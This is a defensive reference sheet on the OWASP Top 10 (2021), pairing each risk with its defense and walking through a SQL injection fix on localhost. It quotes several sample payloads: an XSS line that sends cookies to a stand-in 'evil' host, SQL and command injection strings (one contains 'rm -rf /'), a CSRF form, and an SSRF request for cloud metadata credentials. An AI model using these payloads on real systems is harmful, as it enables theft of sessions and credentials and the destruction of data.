Security
Web App Security — the OWASP Top 10 in practice
The OWASP Top 10 (2021) as a working checklist: each risk, how it is actually exploited, and the defense that stops it — tuned for incident triage and interview recall.
Quick reference — reach for these first
db.query("… WHERE id = ?", [USER_ID])Kills SQL/command injection — bind values, never concatenate input into the query string.escapeForContext(DATA) + CSP: default-src 'self'Stops XSS — encode for the exact sink (HTML/attr/JS/URL) and add a Content-Security-Policy.if (obj.ownerId !== session.userId) deny()Blocks broken access control / IDOR — check ownership on every object, server-side, deny by default.Set-Cookie: sid=…; SameSite=Lax; Secure + per-req tokenStops cross-site forged state changes on cookie-authenticated routes.npm audit --production / pip-auditCloses known-CVE dependencies (A06) — scan in CI, pin, patch, drop unused deps.Defense-in-depth: one request, five trust boundaries
Text equivalent: A single request crosses five trust boundaries left to right: the browser, TLS transport, the authentication edge, application logic, and the data store. At each boundary a different OWASP Top 10 risk applies and a different defense blocks it. At the browser, A03 cross-site scripting is stopped by context-aware output encoding plus a Content-Security-Policy. In transport, A02 cryptographic failures are stopped by TLS, HSTS, and strong password hashing. At the authentication edge, A01 broken access control and A07 authentication failures are stopped by server-side authorization checks, MFA, and deny-by-default. In application logic, A03 injection, A10 SSRF, and CSRF are stopped by parameterized queries, anti-CSRF tokens, and an egress allowlist. At the data store, A08 integrity failures are stopped by encryption at rest and signature verification. Four risks — A04 insecure design, A05 misconfiguration, A06 vulnerable components, and A09 logging gaps — apply across all five boundaries.
Common tasks
Risk (OWASP) · How it is exploited · Defense
| Risk (OWASP) | How it is exploited | Defense |
|---|---|---|
| A01 Broken access control (IDOR) | GET /api/invoices/1002 → change id to /1003, read another tenant's data | Check the object's owner/role against the authenticated user on every access; deny by default; never trust client-supplied IDs |
| A02 Cryptographic failures | login served over http://; password stored as md5(pw) → cracked offline from a dump | TLS everywhere + HSTS; hash passwords with bcrypt/argon2id; AES-GCM at rest; keep secrets out of code |
| A03 Injection — SQL | username: ' OR '1'='1'-- → auth bypass / full table dump | Parameterized queries / prepared statements (or ORM value bindings); never string-concatenate input |
| A03 Injection — OS command | filename: file.txt; rm -rf / passed into a shell exec | Avoid the shell; use execFile with an argument array + allowlist; no interpolation into a shell string |
| XSS (A03 — reflected/stored/DOM) | comment: <img src=x onerror=fetch('//evil/'+document.cookie)> | Context-aware output encoding + CSP; avoid innerHTML / dangerouslySetInnerHTML; set HttpOnly on session cookies |
| CSRF (state-changing forgery) | attacker page auto-submits <form action=/bank/transfer method=POST> using the victim's cookie | SameSite=Lax/Strict + Secure cookies, plus a per-request anti-CSRF token validated server-side; re-auth sensitive ops |
| A04 Insecure design | password reset accepts a guessable 4-digit code with no rate limit → brute-forced | Threat-model the feature; design in rate limits, lockouts and abuse cases; add abuse-case tests, not just happy-path |
| A05 Security misconfiguration | default admin:admin, /actuator exposed, verbose stack traces, directory listing on | Harden defaults; disable debug/verbose errors in prod; least privilege; add security headers; review config in CI |
| A06 Vulnerable & outdated components | app ships log4j 2.14 → JNDI RCE via a crafted log string (Log4Shell) | SCA in CI (npm audit / pip-audit / Dependabot); pin and patch promptly; remove unused dependencies |
| A07 Identification & auth failures | credential stuffing with no MFA; session id in the URL and never rotated | MFA, rate-limit and lock out login, strong password policy, rotate session on auth, short expiry + idle timeout |
| A08 Software & data integrity failures | untrusted pickle/Java object deserialized → RCE; unsigned CI artifact swapped in supply chain | Never deserialize untrusted data; verify signatures / SRI; use lockfiles and trusted registries; sign builds |
| A09 Security logging & monitoring gaps | brute-force and privilege change leave no trace; breach discovered months later | Log authn/authz/failures with context; alert on anomalies; make logs tamper-resistant; never log secrets or PII |
| A10 Server-side request forgery (SSRF) | url=http://169.254.169.254/latest/meta-data/ → steal cloud instance credentials | Allowlist egress schemes+hosts; block private/link-local/metadata IPs; resolve-then-validate; disable redirects |
Find and fix a SQL injection — concatenated query → parameterized → re-tested
find-and-fix SQL injection
grep -rnE "SELECT .*(\" ?\\+|f\"SELECT)" src/
# auth.js:42 const q = "SELECT * FROM users WHERE user='" + name + "' AND pass='" + pw + "'"curl -s -X POST localhost:3000/login -d "user=admin'--&pass=x"
# 200 OK {"token":"…"} ← logged in as admin without knowing the passwordconst q = "SELECT * FROM users WHERE user = ? AND pass = ?"; await db.query(q, [name, pw]);
curl -s -X POST localhost:3000/login -d "user=admin'--&pass=x"
# 401 Unauthorized ← the whole string is treated as a literal username, no row matchestest('rejects SQLi', () => expect(login("admin'--","x")).rejects.toThrow());
# PASS injection payload rejectedTroubleshooting — symptom → first check → next check
| Symptom | First check | Establishes | Next check |
|---|---|---|---|
| XSS fires even though output is HTML-escaped | Where does the data actually land — HTML text, an HTML attribute, a <script>/JS context, a URL, or CSS? | HTML-entity escaping only neutralizes the HTML-text context; attribute, JS-string, URL and CSS sinks each need their own encoding | Switch to context-aware encoding for the real sink and add a CSP; stop building DOM with innerHTML/dangerouslySetInnerHTML |
| A state-changing POST succeeds from a cross-site page | Is the session cookie SameSite=Lax/Strict, and is a per-request anti-CSRF token validated server-side on that route? | A cookie auto-sent cross-site plus no token check is the classic CSRF hole | Set SameSite + Secure, require and validate a CSRF token on every mutating route; for APIs prefer a header token over a cookie |
| Changing an id in the URL or body returns another user's record | Does the handler verify the object's owner/role against the authenticated user before returning it? | Access is enforced by the UI or by obscurity, not by a server-side per-object authorization check | Add an ownership/role check on every object access, deny by default; treat unguessable ids as defense-in-depth, not the control |
| A URL / webhook / image-fetch feature can reach internal hosts | Is the user-supplied URL validated after DNS resolution against an egress allowlist, with redirects disabled? | The scheme/host is unconstrained, or validated before resolving (so DNS-rebinding bypasses the check) | Allowlist schemes+hosts, block private/link-local and 169.254.169.254, resolve-then-validate, and disable following redirects |
| An API key or token is found in the JS bundle or mobile app | Grep the built bundle for the key — is the secret used directly by the browser/client at all? | Anything shipped to the client is public; a client-embedded secret is already compromised | Rotate the leaked key now, move the call server-side behind your own auth, and issue short-lived scoped tokens instead |
| SQLi reported on a codebase that uses an ORM | Grep for raw-query escape hatches — .raw(), queryRaw, or string-built WHERE / ORDER BY / column names | ORMs bind values, but raw fragments and dynamic identifiers (column, sort direction) bypass that binding | Parameterize the raw query; allowlist sortable columns and directions; never interpolate identifiers from input |
References
- OWASP Top 10 (2021)owasp.org
- OWASP Cheat Sheet Seriescheatsheetseries.owasp.org
- SQL Injection Prevention Cheat Sheetcheatsheetseries.owasp.org
- Cross-Site Scripting (XSS) Prevention Cheat Sheetcheatsheetseries.owasp.org
- Cross-Site Request Forgery (CSRF) Prevention Cheat Sheetcheatsheetseries.owasp.org